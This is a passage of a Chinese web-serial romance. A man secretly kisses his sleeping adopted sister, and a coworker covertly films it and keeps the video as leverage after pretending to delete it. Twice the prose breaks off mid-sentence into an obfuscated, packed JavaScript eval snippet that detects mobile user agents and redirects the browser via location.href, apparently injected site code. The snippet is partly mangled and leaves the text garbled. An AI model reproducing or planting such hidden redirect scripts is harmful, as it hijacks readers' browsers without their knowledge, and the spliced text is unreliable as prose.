话落,门上的倒影消失。 辛恬莫名松了口气。 小姑娘身上有种淡而坚定的压迫感,性格弱的人极容易被她牵着走。 客厅地面的狼藉已经在刚才被二人合力清理干净。 荆梨一路走到顾北房间。 他这会儿睡得很沉,鼻息匀长,眉头舒展。 吐掉胃里没消化的酒精之后他明显好受了不少, 荆梨坐在床沿,目光沉静地望着他,脑海中不由浮现出今晚在车里发生的一切。 男人气息滚热,钻进她的耳朵,渗透耳膜沿着神经一路烫到心口。 “你不要不理我。” “你不理我,我感觉快要死了一样。” 想到这,荆梨眼眶再一次泛热,她吸了吸鼻子,俯下身,姿态依恋地埋进男人的颈窝,眼泪落了下来。 空气中响起女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14105885|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩细弱的哽咽。 嗓音闷闷地透出来。 “对不起,这段时间让你这么难过……” - 顾北醒来的时候,四周漆黑一片,他不清楚自己睡了多久,但手机上显示的时间还不到十二点。 脑袋仿佛被人狠敲了一番,一阵阵钝痛。 他不太记得喝醉时发生的事了。 记忆断片在荆梨和易梓薇出现,那之后他怎么回的家,又是怎么上的床,便全都忘了。 顾北揉着后颈走进浴室,简单洗了个澡,换上家居服,出来才后知后觉地发现家里很安静。 视线不自觉瞥向走廊另一头的主卧,并未注意到隔壁长年紧闭的客房此刻正虚掩着门,微弱的灯光从缝中倾泻。 不知道这个点荆梨睡没睡。 这么想着,他来到主卧门口,手搭在门把上,只轻轻转动须臾,就知道了她又没反锁。 顾北叹了口气,静默片刻,还是打开门走了进去。 床头灯没关,荆梨已经睡着了,侧躺在床上,没盖被子,怀里抱着一个稍显陈旧的玩偶。 顾北在她床边坐下,看清那个玩偶的模样,眼底不由漾起笑。 是那只可以录音留声的玩偶熊。 好久没见她拿出来过了,他还以为她嫌弃太旧给扔了。 “所以你其实并不讨厌哥哥的吧。” 帮她盖好被子,顾北眼神温柔地描摹荆梨恬静的睡颜,指腹轻抚她毛茸茸的眉尾,气音低到宛如情人间的呢喃。 无人应答,万籁俱寂,任由一些不该有的感情肆意疯涨。 悸动的心跳盖过了白日的理智。 他现在无比的清醒,清醒地知道自己想做什么,甚至连克制都不想克制。 他爱上荆梨了。 爱上了自己的妹妹,哪怕毫无血缘关系,但也是他一手带大的妹妹。 顾北眸中闪过挣扎与痛苦,最后都化作浓到快要溢出来的感情。 情不知所起。 他也不清楚这份爱是怎么开始的。 只知道在他发现的时候,就已经深入骨髓了。 顾北无声叹息,难以抑制地俯下身,在女孩额间落下一吻。 仿佛是为了弥补上一次的遗憾。 他吻得格外虔诚,身体绷成一把拉满的弓,生怕惊扰到她。 撤开时他才敢睁眼,荆梨没被他吵醒。 微不可察的失落掠过心头。 视线滑落在女孩的唇瓣,喉结上下滚动。 他还记得唇上柔软的触感。 得寸进尺在他身上展现得淋漓尽致。 顾北重又低头,唇瓣羽毛般轻轻扫过荆梨的嘴角。 这次连呼吸他都屏住了。 荆梨睡得很沉,睡梦中的她应该也感受了什么,长睫颤了颤,但很快归于平静。 顾北站起身。 就这样吧。 这样已经很好了。 荆梨还愿意陪在他身边,还愿意抱着这个意义非凡的玩偶。 他们两个就这样一辈子在一起,永远不分开。 门外,看到一切的辛恬死死捂住嘴,她颤抖着按下结束视频录制的按钮,逃似的回到客卧,心脏如擂鼓般震耳欲聋。 47.条件 chapter 47 隔天清晨,顾北神清气爽地打开房门。 食物的香气从厨房的方向飘过来,他弯了弯唇,以为小姑娘在给他做早餐。 等他来到餐厅,却瞧见荆梨正端坐在餐桌旁,边刷手机边小口喝豆浆。 下一秒,辛恬的声音从前方传来:“顾老师,你醒啦。” 顾北一愣,眉头微不可察地蹙了下。 只见辛恬还穿着昨晚的那身裙装,腰间系着他的围裙,甚至脚下还穿着荆梨那双宝贝的卡通拖鞋。 她将刚煎好的鸡蛋摆在桌上,随即自然地坐到荆梨旁边。 “过来一起吃早餐吧。” 顾北没动,面无表情地看着她那张扬起微笑的脸,眼神阴鸷。 “你怎么在这?”他沉声问。 一直没出声的荆梨这会儿淡淡道:“你昨晚喝醉后吐了人家一身,我就让辛小姐留下住了一晚。” “你昨晚在这睡的?” 顾北瞬间拧起眉,眸底一片冰寒,语气是带着愠怒的质问。 辛恬挑眉,直视他的目光,唇角翘起的弧度的更深,可眼里并无一丝笑意:“是啊,托顾老师的福,我昨夜睡得很香。” 顾北黑眸沉沉地盯着她,无言的压迫感袭来,餐厅的气氛莫名冷了下来。 不知为何,眼前的辛恬气质突然变了。 往日面对他时的腼腆与小心翼翼消失不见,取而代之的是令人不适的阴恻。 他感觉不太对劲。 顾北不动声色地看向荆梨。 女孩神色如常,毫无半分生气不悦的痕迹,黑白分明的杏眼平静得有些过分。 不仅容许一个外人穿上他买给她的拖鞋,还亲自邀请对方留在他们的家里过夜,吃对方做的早餐。 而这个外人,心里怀着当她嫂子念头,昨晚刚跟他表过白…… 顾北垂下眸,掩饰眼里的黯然。 他咽了咽发涩的喉咙,喉骨上下滚动,嗓音沙哑:“我没胃口,你们吃吧,我去上班了。”说罢,他转身回了房。 十分钟后,一袭黑色西装的男人打开大门径直朝电梯口走去。 刚按亮下行键,身后传来高跟鞋由远及近的嗒嗒声。 辛恬在他身侧站定,贴心地提醒道:“你的车还停在酒吧的停车场,待会儿坐我车一起走吧。” 顾北没吭声,连看她都没看一眼。 电梯抵达顶层,二人一齐走进去。 男人面无表情地站在前面,目视前方,神情如同终年不化的雪山,矜贵疏冷,只可远观。 周身萦绕着令人不敢靠近的氛围。 辛恬脸上的笑也陡然消散,她深吸口气,看着男人的宽阔的背影,握着手机的力道渐渐加重。 稳稳下降的空间里沉默弥漫。 直到坐进车里,二人之间诡异的安静才被顾北打断。 “我想我昨晚已经把话跟你说清楚了,我对你没感觉,识趣地话就应该离我,还有我妹妹远点。” 修长手指轻轻摆正领带,男人下颌微抬,尽显高位者的威严。 辛恬却从鼻子里轻哼一声,她扭头看着他,柔声道:“如果我说不呢。” 顾北的眼神瞬间锐利,他凤眼微眯,盯着女人的目光不自觉带上审视:“你什么意思?” 辛恬微微一笑,她没答话,而是直接将手机解锁,打开相册,点击最新录制的一段视频,搁在男人眼前。 顾北不解地皱紧眉头,不知道她在搞什么名堂,但很快,他的注意力就全被视频吸引了过去。 当看清视频里的场景,以及身处其中的两位主角时,顾北神色骤变,全身的血液都凝固了。 视频一看就是从门外的角度拍的,他正好侧身背对着门口坐在荆梨床沿,便没有注意到偷拍的行为。 视频开始就是他躬身亲在荆梨额头的画面,紧接着他又在唇角落下一吻。 他站起身的刹那,画面仓惶地晃动了几下,最后定格在地板。 “所以你喜欢的人……”辛恬熄掉手机屏幕,盯着男人苍白如纸的脸,眼眶渐红,“是你的亲妹妹。” 这个他打算死后带进土里的秘密被旁人亲口说出来,落在耳朵里,引起心脏强烈的震动。 顾北心口一窒,呼吸猛然急促,胸腔随之震颤起伏,如有电流蹿过他的身体,手脚不受控地发麻,冰冷。 “你竟然偷拍我们。” 他死死攥住女人的手腕,指节用力到泛白,捏得辛恬露出痛苦的神色。 男人身体绷得很紧,肌肉伏动,眸色漆黑幽暗,仿佛蕴藏着摧毁一切的风暴,骇人又可怖。 “你到底想做什么?” 辛恬被他这幅模样吓到了,她睁大双眼,深呼吸了好几下才找到自己的声音:“你为什么会这样……”她停顿了一下,语气染上几分崩溃的绝望,忽然有些说不出口了,“为什么会……” “爱上自己的妹妹。” 顾北帮她补全后面的话。 辛恬挣开男人的桎梏,她闭了闭眼,长睫湿润,嗓音沙哑而黏滞:“你知不知道这是错的……” “我当然知道。”顾北冷冷地打断她,眸光空洞,倾塌的肩膀透着颓然,“所以我本来打算一辈子藏在心底。” 酸意猛然窜上鼻尖,辛恬的眼泪承受不住地滑落,她无力地哧出声,整个人好似被重重打击到了一般, 怪不得他一点绯闻也没有,不管是谁的示好他都能熟若无睹,冷淡应对。 怪不得…… 原来他喝醉时那声“宝宝”,竟是情真意切的呢喃情话。 真可笑。 真恶心…… “告诉我你要怎么样才能把视频删了。” 顾北仿若从砂砾滚过的沉哑嗓音在空气中响起,比隆冬还要寒冷。 辛恬讽刺一笑,她抹了把眼角,收好手机,轻笑道:“你说,要是荆梨看到这个视频,得知自己的哥哥一直喜欢自己,还趁自己睡着摸进房间偷吻。” 她故意停下,欣赏顾北再一次惨白的面容,心里升腾起小小的快感。 “你猜她会是什么反应啊?” “会觉得恶心,还是觉得害怕呢……” “你敢!” 话落的瞬间,顾北直接掐住女人的脖子,眼底猩红一片。 辛恬瞪着他,唇瓣紧抿。 “想威胁我?”顾北低头凑近,微微上挑的眼尾划过危险的幽光,“你可能不太清楚得罪我的代价,我可以立刻把你赶出设计院,还可以让你在这一行永远混不下去。” “我知道。”辛恬说,“所以我不会威胁你,更不会得罪你。” 顾北眯了眯眼,显然不信:“把话说清楚。” 辛恬直视他的眼睛,一字一句地说:“我想拯救你。” “我不想看你继续再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14129954|141594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错下去了。” 顾北似听到了什么天大的笑话,他垂目嗤笑,笑得胸膛都在震动,他松开手,后撤靠上椅背,那点被拿住命门的紧张感瞬间烟消云散,挑眉好整以暇地睨着她:“拯救我?你凭什么拯救我。” “我怎么就给你一种需要拯救的错觉了。” 他原以为辛恬是个聪明的,拿着这份视频跟他要点权和利,或者威胁他跟她在一起。 结果竟然是他妈可笑的“拯救”。 她算什么东西。 “爱上自己的亲妹妹难道不是错嘛,难道不是你病了嘛。”辛恬眼里划过一丝狰狞,但转瞬即逝,“兄妹逾墙,世俗不会容忍你们的。” “是我单方面爱上了她,我从没奢求过和她在一起。如果不是恰好被你撞见,世俗永远不会知道。”顾北冷漠地打断她,望向她的眼神不由染上怜悯,“辛恬,我以为你是个聪明人,没想到又傻又幼稚,这不是偶像剧和小说,现实点吧,没人需要你拯救。” 闻言,辛恬脸色胀红,面露难堪。 “你最好立刻就把视频删了。”顾北再次警告,“我不怕鱼死网破。” “我不删。”辛恬梗着脖子,“我得留着,万一哪天你对荆梨出手,这就是抓你的证据。” 听到这话,顾北愣住,他皱眉道:“你说什么?” 辛恬坐正身体,长长抒了口气,神色恢复如初:“荆梨身边有你这么一个心怀不轨的哥哥在,我可不放心,我得留着视频,牵制你的兽性。” 兽性? 顾北垂眸嗤笑。 听她这意思,她留着视频是为了保护荆梨。 但……也有降低他戒心的嫌疑。 总之只要视频还在,就是一枚定时炸弹。 他不能让荆梨他的感情。 不然他俩之间就真的完蛋了。 “说吧,想要什么,只要你把视频删了,我都满足你。” 辛恬:“什么都可以?” 顾北挑眉,语气讽刺:“钱,前途,什么都可以。” “感情呢?” “不行。” “那你还说什么都可以。”辛恬冷笑。 男人眼底泛起冰霜:“别得寸进尺,感情我给不了你。” 场面陷入死寂。 良久后,辛恬像是妥协了,她翻出手机,当着顾北的面将那个视频删除。 “喏,删干净了。” “最近删除也删掉。” “……真严谨啊你。” 见对方真的将视频彻底删除,顾北才稍稍放下心,面色也和缓了许多:“你报个价吧。” “我不需要你的钱。” “什么都不要的人最可怕。”顾北不耐烦地望向窗外,淡淡道。 “好吧,那我要你以后不再拒绝我的示好,真心实意地接受我靠近你,把我当朋友,给我一个追求你的机会。”辛恬目光坦荡。 顾北厌烦地阖了阖眼,不吭声。 “答不答应?”辛恬得寸进尺地追问。 顾北叹了口气,开门下车,留下一句没有感情的:“随你。” 等男人的背影消失在视野范围,辛恬嘴角的笑落了下去。 她将手机解锁,点开某软件里的私密相册,只见其中最新上传的一条就是她刚才在顾北眼皮子底下删除的视频。 黑掉的屏幕上倒映出女人面无表情的脸,莫名有些可怕。